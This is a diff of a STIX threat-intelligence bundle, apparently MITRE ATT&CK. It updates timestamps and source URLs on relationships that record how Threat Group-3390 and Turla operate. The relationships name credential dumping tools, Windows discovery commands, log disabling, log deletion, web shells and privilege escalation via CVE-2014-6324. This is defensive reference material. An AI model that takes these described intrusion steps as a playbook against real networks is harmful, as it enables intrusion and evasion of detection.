-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After re-establishing access to a victim network, Threat Group-3390 actors download tools including gsecdump and WCE that are staged temporarily on websites that were previously compromised but never used.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31633,7 +37901,7 @@
             "id": "relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used OWA account credentials to attempt to regain access to a victim network after eviction.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31654,7 +37922,7 @@
             "id": "relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors look for and use VPN profiles during an operation to access the network using external VPN services.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31675,7 +37943,7 @@
             "id": "relationship--69682171-e717-4af7-a24a-06a39f381641",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors use nbtscan to discover vulnerable systems.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31696,7 +37964,7 @@
             "id": "relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used <code>net use</code> to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31717,7 +37985,7 @@
             "id": "relationship--b2dbbb46-9659-4277-8753-c469c4bfe409",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used <code>net user</code> to conduct internal discovery of systems.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31738,7 +38006,7 @@
             "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used WinRM to enable remote execution.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31759,7 +38027,7 @@
             "id": "relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used PowerShell for execution.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31780,7 +38048,7 @@
             "id": "relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used command-line interfaces for execution.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31801,7 +38069,7 @@
             "id": "relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used appcmd.exe to disable logging on a victim server.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31822,7 +38090,7 @@
             "id": "relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31843,7 +38111,7 @@
             "id": "relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used CVE-2014-6324 to escalate privileges.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31864,7 +38132,7 @@
             "id": "relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31885,7 +38153,7 @@
             "id": "relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has detached network shares after exfiltrating files, likely to evade detection.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31906,7 +38174,7 @@
             "id": "relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has deployed backup web shells and obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -31927,7 +38195,7 @@
             "id": "relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -31940,7 +38208,7 @@
             "id": "relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -31953,7 +38221,7 @@
             "id": "relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
@@ -31966,7 +38234,7 @@
             "id": "relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -31979,7 +38247,7 @@
             "id": "relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
@@ -31992,7 +38260,7 @@
             "id": "relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
@@ -32005,7 +38273,7 @@
             "id": "relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
@@ -32018,7 +38286,7 @@
             "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -32031,7 +38299,7 @@
             "id": "relationship--c354d751-4688-49c5-9f9a-0d2bc705f645",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
@@ -32044,7 +38312,7 @@
             "id": "relationship--2e45dc12-f493-42ea-829e-011ba786bef1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -32057,7 +38325,7 @@
             "id": "relationship--9dfb7899-20af-4eea-bfca-f608d885cb00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover running processes using the <code>tasklist /v</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32069,7 +38337,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32078,7 +38346,7 @@
             "id": "relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover running services and associated processes using the <code>tasklist /svc</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32090,7 +38358,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32099,7 +38367,7 @@
             "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover network configuration details using the <code>arp -a</code>, <code>nbtstat -n</code>, and <code>net config</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32111,7 +38379,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32120,7 +38388,7 @@
             "id": "relationship--3325e625-d76b-42df-b952-749dabb57517",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover active local network connections using the <code>netstat -an</code>, <code>net use</code>, <code>net file</code>, and <code>net session</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32132,7 +38400,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32141,7 +38409,7 @@
             "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover remote systems on a local network using the <code>net view</code> and <code>net view /DOMAIN</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32153,7 +38421,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32162,7 +38430,7 @@
             "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover operating system configuration details using the <code>systeminfo</code> and <code>set</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32174,7 +38442,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32183,7 +38451,7 @@
             "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover information in the Windows Registry with the <code>reg query</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32195,7 +38463,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32204,7 +38472,7 @@
             "id": "relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, and in the Program Files directory.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32216,7 +38484,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32225,7 +38493,7 @@
             "id": "relationship--5682d524-80f0-4fd8-9960-6f54eeafce96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla may attempt to connect to systems within a victim's network using <code>net use</code> commands and a predefined list or collection of passwords.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32237,7 +38505,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32246,7 +38514,7 @@
             "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla uses <code>net use</code> commands to connect to lateral systems within a network.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32258,7 +38526,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -32267,7 +38535,7 @@
             "id": "relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover the system time by using the <code>net time</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -32279,7 +38547,28 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Based on comparison of Gazer versions, Turla made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.",
+            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
+            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                 }
             ]
         },
@@ -32288,7 +38577,7 @@
             "id": "relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
@@ -32301,7 +38590,7 @@
             "id": "relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
@@ -32314,7 +38603,7 @@
             "id": "relationship--3643f451-322d-4f38-91a4-00a55a42c7f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
@@ -32327,7 +38616,7 @@
             "id": "relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -32340,7 +38629,7 @@
             "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
@@ -32353,7 +38642,7 @@
             "id": "relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -32366,7 +38655,7 @@
             "id": "relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
@@ -32379,7 +38668,7 @@
             "id": "relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
@@ -32392,7 +38681,7 @@
             "id": "relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
@@ -32405,7 +38694,7 @@
             "id": "relationship--35a9c64c-c305-46bf-a216-c8bb1b051614",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
